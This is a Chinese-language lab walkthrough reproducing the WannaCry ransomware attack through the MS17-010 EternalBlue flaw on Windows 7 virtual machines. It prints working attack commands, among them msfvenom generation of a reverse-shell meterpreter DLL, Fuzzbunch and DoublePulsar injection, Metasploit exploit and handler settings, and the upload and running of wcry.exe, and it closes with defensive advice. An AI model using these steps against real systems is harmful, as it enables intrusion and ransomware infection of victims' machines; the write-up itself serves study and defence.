WannaCry勒索病毒分析之利用MS17-010漏洞实现勒索加密

WannaCry复现过程十分繁琐,仅推荐大家理解漏洞利用的基本过程。这里使用了两种复现方法,一种是Python构建shellcode代码攻击,以及双星脉冲漏洞、DLL文件的设置与后续逆向分析均有关,另一种是我们常用的MSF。

下图是安天分析WannaRen勒索软件的攻击流程,其名称和功能与WannaCry相似。

1. WannaCry背景

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry蠕虫进行感染,并作为攻击机再次扫描互联网和局域网的其它机器,形成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。其核心流程如下图所示:

WannaCry勒索病毒主要行为是传播和勒索:

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹窗窗口显示付款账号和勒索信息

2. 实验环境搭建

2.1 环境配置

攻击机1:Kali Linux x64(IP地址:192.168.193.128)

攻击机2:Windows Server 2003 x86 企业版(IP地址:192.168.193.132)

靶机:Windows 7 x64(IP地址:192.168.193.141)

保证攻击机1、攻击机2与靶机能两两通讯,均在同一局域网中。

2.2 实验工具

2.3 实验步骤

  1. 配置Windows Server 2003、Kali、Windows 7实验环境
  2. Kali检测受害主机445端口(SMB协议)是否开启
  3. 运行永恒之蓝Python脚本
  4. 利用DLL后门文件进行Doublepulsar注入
  5. Metaploit获取受害主机的shell
  6. 运行Wcry.exe母体程序,实现勒索和文件加密

3. Python复现

实验复现过程必须在虚拟机中完成,运行之前关闭虚拟机Win 7的文件共享。

3.1 实验准备

关闭Win 7虚拟机的文件共享,开启445端口,同时关闭防火墙。

在Windows Server 2003系统中配置Python环境。

下载shadowbroker工具包,在windows文件夹中新建文件夹logslisteningposts,用记事本打开windows文件夹中的Fuzzbunch.xml文件,并修改ResourcesDirLogDir的路径为:C:\shadowbroker\windows\Resources和logs。注意,目录名不能有空格。

3.2 实验过程

3.2.1 提权

用Kali扫描靶机是否开启445端口。

1
nmap -Pn 192.168.193.141

使用msfvenom工具生成后门文件abc.dll

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.193.128 LPORT=6666 -f dll > abc.dll

其中,-p指定使用模块类型,-f指定文件类型。

abc.dll上传到Windows Server 2003中。

在Windows Server 2003运行永恒之蓝工具,若出现以下界面则工具安装成功。

1
python C:\shadowbroker\windows\fb.py

设置靶机IP、攻击机1的IP(反弹shell地址)、重定向以及新建项目名称等。重定向一定选no。其他选项默认,Enter即可。

加载永恒之蓝模块,获取受害主机的系统权限。

1
use Eternalblue

设置受害主机操作系统Win 7 x64,设置模式FB,该模式下进行交互性参数输入。

当看到WIN和Eternalblue Succeeded信息,表示受害主机的权限获取成功。

接着设置Kali系统,通过Metasploit等待返回的shell。

1
2
3
4
5
6
msfconsole	#加载msf框架
use exploit/multi/handler #使用handler操作
set payload windows/x64/meterpreter/reverse_tcp #设置payload
set LHOST 192.168.193.128 #设置本地IP
set LPORT 6666 #设置本地端口
run #开启监听

在Windows Server 2003中进行Doublepulsar注入(双倍脉冲),具体流程如下:

输入use Doublepulsar加载双倍脉冲注入。设置相关参数,包括选择SMB协议,后门利用方法为RunDLL。

回到Kali查看meterpreter,此时成功获取受害主机的shell。

3.2.2 上传勒索病毒

获得权限后,将勒索病毒wcry.exe上传至受害主机。

1
upload /home/v5le0n9/Desktop/wcry2.0/wcry.exe c:\\

获取受害主机的shell,如果出现中文乱码输入chcp 65001设置编码,接着运行wcry.exe

1
2
3
shell
chcp 65001
wcry.exe

运行病毒程序后的界面如下图所示,已经成功被勒索。

加密系统中的文件,被加密的文件后缀名统一修改为.WNRY

  • b.wnry:中招后的桌面壁纸
  • c.wnry:配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry:可免支付解密的文件列表
  • r.wnry:提示文件,包含中招提示信息
  • s.wnry:zip文件,包含tor客户端
  • t.wnry:测试文件
  • u.wnry:解密程序

上一篇文章是利用Python复现永恒之蓝漏洞,过程较为复杂,所以这篇文章将直接利用MSF复现MS17-010漏洞进行反弹shell,再上传勒索病毒进行复现,并详细讲解WannaCry勒索病毒的原理。

4. MSF复现

4.1 环境配置

攻击机:Kali Linux x64(IP地址:192.168.193.145)

靶机:Windows 7 x64(IP地址:192.168.193.141)

利用工具:MSF

4.2 复现准备

开启Win 7的445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能,否则后面上传的勒索病毒会通过局域网传播到物理机与其它虚拟机。

保证攻击机和靶机能够相互通讯,均在同一个局域网中。

4.3 复现过程

用Kali扫描靶机是否开启了445端口。

打开msfconsole并查询MS17-010漏洞模块。

1
2
msfconsole
search ms17-010

由于靶机是我们自定义的,所以可以确定靶机的确存在MS17-010漏洞,进而省去利用辅助模块探测靶机是否存在该漏洞,直接利用漏洞利用模块提权。

利用永恒之蓝漏洞并设置参数。

1
2
3
4
5
6
use 0
set LHOST 192.168.193.145
set RHOST 192.168.193.141
set RPORT 445
show options
run

此时,成功提取靶机权限。之后再进行上传勒索病毒操作。

5. 防御措施

勒索软件常见防御措施如下:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭方法可在Windows防火墙中添加入站规则,禁止通过445端口连接。